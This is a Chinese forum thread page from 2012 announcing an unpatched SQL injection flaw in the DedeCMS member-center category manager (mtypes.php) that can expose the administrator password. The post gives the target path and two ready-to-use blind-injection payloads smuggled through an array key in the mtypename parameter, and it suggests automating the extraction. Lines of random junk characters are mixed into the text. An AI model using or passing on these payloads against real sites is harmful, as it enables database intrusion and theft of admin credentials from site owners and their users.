找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2126|回复: 0
打印 上一主题 下一主题

DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-20 08:08:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
需要magic_quotes_gpc = Off,所以说是鸡肋啊.
# v, z" b& M" @3 t' h: E2 g/ g$ u9 f* d: o

- B+ f" `$ H1 J! g发生在数组key里的注射漏洞,有点意思.
7 J, n. f% @% P$ D/ m( [ . o7 f( [4 O6 o% q  Q' |$ _
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下4 C& F+ e2 ^3 H) T( J1 x$ V
9 v3 R% i$ Y! B3 F# y( o' u
http://www.xxx.com /dede/member/mtypes.php?dopost=save
. X$ h6 @! ]+ z& z - N6 s/ z# B. R3 w. Z
exploit:
  ~- g: h, z2 h( i9 cmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r+ o2 U3 s3 D) W# w1 c, s0 P
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r4 M+ M: L" Q9 ^0 }6 l: N' ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表